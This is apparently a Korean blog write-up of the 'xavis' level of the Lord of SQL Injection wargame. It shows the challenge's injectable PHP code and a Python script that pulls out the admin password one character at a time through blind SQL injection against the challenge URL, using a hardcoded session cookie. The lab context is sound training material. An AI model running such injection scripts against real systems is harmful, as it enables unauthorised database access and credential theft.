-
LOS navisWebHacking/Load Of Sql Injection 2018. 2. 15. 04:481234567891011121314151617<?phpinclude "./config.php";login_chk();dbconnect();if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";echo "<hr>query : <strong>{$query}</strong><hr><br>";$result = @mysql_fetch_array(mysql_query($query));if($result['id']) echo "<h2>Hello {$result[id]}</h2>";$_GET[pw] = addslashes($_GET[pw]);$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";$result = @mysql_fetch_array(mysql_query($query));if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");highlight_file(__FILE__);?>
cs 정말 짜증나는 문제였다..
length를 이용하여서 pw를 확인해보면 40글자다.
대충 블라인드를 돌려보면 Hello admin이 걸리지않는다. 33 ~ 128 손으로 하나하나 큰지 작은지 비교를 하다보니 127보다 큰값이라고 나온다?
일단 코드를 짜면서 중간중간에 모르는 부분있으면 삽질 좀 하다가 write up을 보면서 풀었다.
40글자 기준으로 돌리다보면 11번째 글자부터 무조건 true로 나오는것을 볼수있는데 그것을 보고 아 비밀번호는 10글자인것을 알수있다.
40글자로 나오는 이유는 확장 아스키코드 한글자당 4byte이기때문? 인것같다. 4*10 == 40
write up을 보다가 정말 신기한것을 봤는데 비밀번호를 한번에 알수있는 방법이였다.
mysql,orace 둘다 변수를 만들어줄수있는데 그 변수에 내가 select하는 테이블 id,pw값을 저장할수있고 union을 이용하여서 그 변수를 출력해줄수있기 때문에 패스워드를 한번에 얻을수있다.
https://blog.pagez.kr/2017/04/18/mysql-user-variables-and-union-closure.html
http://sakuya.kr/130
http://b.fantazm.net/entry/LOS-xavis 블로그에서 사이트를 얻을수있었다.
1234567891011121314151617181920212223242526import urllib2j = 1input_ = 128 #0passwd = ''while(True):url = 'https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=\' or id=\'admin\' and ord(substr(pw,%d,1))=%d' %(j,input_)url += '%23'#print urlreq = urllib2.Request(url)req.add_header('User-Agent','Mozilla/5.0')req.add_header('cookie','PHPSESSID=p1fad2hverso8kg1fs3fndoof6')data = urllib2.urlopen(req).read()if '<h2>Hello admin</h2>' in data:passwd += chr(input_)j += 1print 'Search Key is '+passwdprint 'Search hex Key is %d'%(input_)if len(passwd) == 10:breakinput_= 128else:input_+=0x1print 'Key is '+passwd.encode('hex')cs 'WebHacking > Load Of Sql Injection' 카테고리의 다른 글
LOS iron_golem (0) 2018.02.18 LOS dragon (0) 2018.02.18 LOS nightmare (0) 2018.02.15 LOS succubus (0) 2018.02.15 LOS zombie_assassin (0) 2018.02.15